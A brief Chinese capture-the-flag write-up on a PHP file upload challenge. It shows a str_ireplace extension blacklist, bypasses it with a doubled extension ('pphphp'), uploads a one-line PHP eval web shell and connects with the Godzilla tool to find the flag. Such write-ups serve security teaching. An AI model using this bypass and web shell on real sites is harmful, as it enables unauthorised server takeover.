我们先按 F12 查看源码,或者按鼠标右键选择 View Page Source:
$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);
这里我们看到后端服务器对一些文件名后缀进行了黑名单过滤,然后用str_ireplace()
函数把黑名单里出现的后缀名(忽略大小写)全部替换成空字符串。
我们可以对后缀名使用双写绕过,编写一句话木马,命名为double-write.pphphp
:
<?php @eval($_POST['banana']);?>
我们使用哥斯拉连接 WebShell:
连接成功,在/var/www/html
目录下发现 Flag 文件: